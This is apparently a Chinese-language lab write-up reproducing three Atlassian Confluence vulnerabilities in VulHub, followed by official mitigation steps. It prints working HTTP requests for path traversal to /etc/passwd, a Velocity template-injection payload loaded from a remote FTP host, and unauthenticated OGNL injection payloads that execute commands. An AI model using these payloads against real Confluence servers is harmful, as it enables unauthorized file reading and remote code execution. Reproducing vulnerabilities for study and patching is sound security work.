VulHub-Atlassian_Confluence漏洞复现

总字符数: 12.19K

代码: 6.83K, 文本: 1.90K

预计阅读时间: 38 分钟

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)

漏洞描述

Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令.

影响版本

Confluence 1.*.*、2.*.*、3.*.*、4.*.*、5.*.*
Confluence 6.0.*、6.1.*、6.2.*、6.3.*、6.4.*、6.5.*
Confluence 6.6.* < 6.6.12
Confluence6.7.*、6.8.*、6.9.*、6.10.*、6.11.*
Confluence 6.12.* < 6.12.3
Confluence 6.13.* < 6.13.3
Confluence 6.14.* < 6.14.2

漏洞复现

访问http://your-ip:8090会进入安装引导,选择”Trial installation”,之后会要求填写license key.点击”Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书:

然后点击Next安装即可.这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待.

如果提示填写cluster node,路径填写/home/confluence即可:

后续可能要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres:

发送如下数据包,即可读取文件web.xml:

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.64.144:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 172

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.64.144:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 186

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}

也可以通过https://...来加载远程文件

使用FTP加载vm文件,vm文件如下:该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令.

1 2	pip install pyftpdlib python -m pyftpdlib -p 21

#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
    $scan.next()
#end

payload:

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.64.144:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 205


{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://43.138.77.252/r.vm","cmd":"id"},"body":""}}

漏洞修复

官方已修复该漏洞,下载最新版的比对补丁,发现在com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java里面多了一个过滤,这个应该就是这个漏洞最关键的地方.

请到官网下载无漏洞版本:

https://www.atlassian.com/

Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2021-26084)

Confluence Server和Confluence Data Center上存在一个OGNL注入漏洞,漏洞编号为CVE-2021-26084.该漏洞允许经过身份验证或在某些情况下未授权的攻击者,在Confluence Server或Confluence Data Center上执行任意代码.

影响版本

Atlassian Confluence Server/Data Center < 6.13.23
6.14.0 ≤ Atlassian Confluence Server/Data Center < 7.4.11
7.5.0 ≤ Atlassian Confluence Server/Data Center < 7.11.6
7.12.0 ≤ Atlassian Confluence Server/Data Center < 7.12.5
Atlassian Confluence Server/Data Center < 7.13.0

漏洞复现

环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证.在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres.

有多个接口可以触发这个OGNL表达式注入漏洞.

/pages/doenterpagevariables.action

这个接口不需要登录即可利用,发送如下数据包,即可看到233*233已被执行

POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.64.144:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

执行任意命令:

queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027

/pages/createpage-entervariables.action

这个路径也不需要用户登录:

POST /pages/createpage-entervariables.action HTTP/1.1
Host: 192.168.64.144:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

/pages/createpage.action

这个接口需要一个可以创建页面的用户权限

GET /pages/createpage.action?spaceKey=ADMIN&fromPageId=65611&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1
Host: 192.168.64.144:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=65611&draftShareId=6fcde074-6f8c-45f0-a619-23b4063bf3aa&
Cookie: JSESSIONID=A64604391DD88D0F328EB28CC977798C
Upgrade-Insecure-Requests: 1

漏洞修复

受影响用户可根据影响范围中的信息,排查并升级到安全版本.

https://www.atlassian.com/software/confluence/download-archives

Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)

漏洞概述

2022年6月初,Confluence官方通报了一个严重漏洞CVE-2022-26134,远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码

影响版本

Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1

漏洞复现

该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.64.144:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=782DBA36CD950ADFBF551F316FDF117B
Upgrade-Insecure-Requests: 1

其中使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}d

漏洞修复

官方建议

暂时防护措施

若相关用户暂时无法中止晋级操作,也可经过以下进程来缓解该问题:

关于 Confluence 7.15.0 – 7.18.0

假如在集群中工作 Confluence,则需求在每个节点上重复此进程.您不需求封闭整个集群

封闭 Confluence:

下载 xwork-1.0.3-atlassian-10.jar 到 Confluence 效力器.

https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jarhttps://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar

将 xwork-1.0.3-atlassian-8.jar 删去或移出 Confluence 设备目录.文件途径:

1	<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar

注意:请用户不要在该目录中留下旧 JAR 文件的副本

将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到以下目录中.目录途径:

1	<confluence-install>/confluence/WEB-INF/lib/

查看 xwork-1.0.3-atlassian-10.jar 文件权限能否与同一目录中的其他文件相同

重启Confluence

请记住,假如您在集群中工作 Confluence,请确保在全部节点上工作此脚本

关于 Confluence 7.0.0 – Confluence 7.14.2

假如在集群中工作 Confluence,则需求在每个节点上重复此进程,您不需求封闭整个集群

封闭 Confluence

下载 xwork-1.0.3-atlassian-10.jar、webwork-2.1.5-atlassian-4.jar 和 CachedConfigurationProvider.class 三个文件到 Confluence Windows 效力器.下载链接

将 xwork-1.0.3.6.jar 与 webwork-2.1.5-atlassian-3.jar 删去或移出 Confluence 设备目录.文件途径分别为:

1	<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar<confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar

**注意:**请用户不要在该目录中留下以上旧JAR文件的副本

将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到以下目录中.目录途径:

1	<confluence-install>/confluence/WEB-INF/lib/

将下载的 webwork-2.1.5-atlassian-4.jar 文件复制到以下目录中.目录途径:

1	<confluence-install>/confluence/WEB-INF/lib/

查看下载的新文件权限能否与同一目录中的其他文件相同

切换到以下目录

1	<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup

在 setup 目录下创建一个名为 webwork 的新目录

将 CachedConfigurationProvider.class 复制到创建好的 webwork 目录中,目录途径:

1	<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork

查看 CachedConfigurationProvider.class 文件权限能否与同一目录中的其他文件相同

重启 Confluence

本文由 kill3r 原创,采用署名-非商业性使用-相同方式共享 4.0 国际许可协议，转载请注明出处。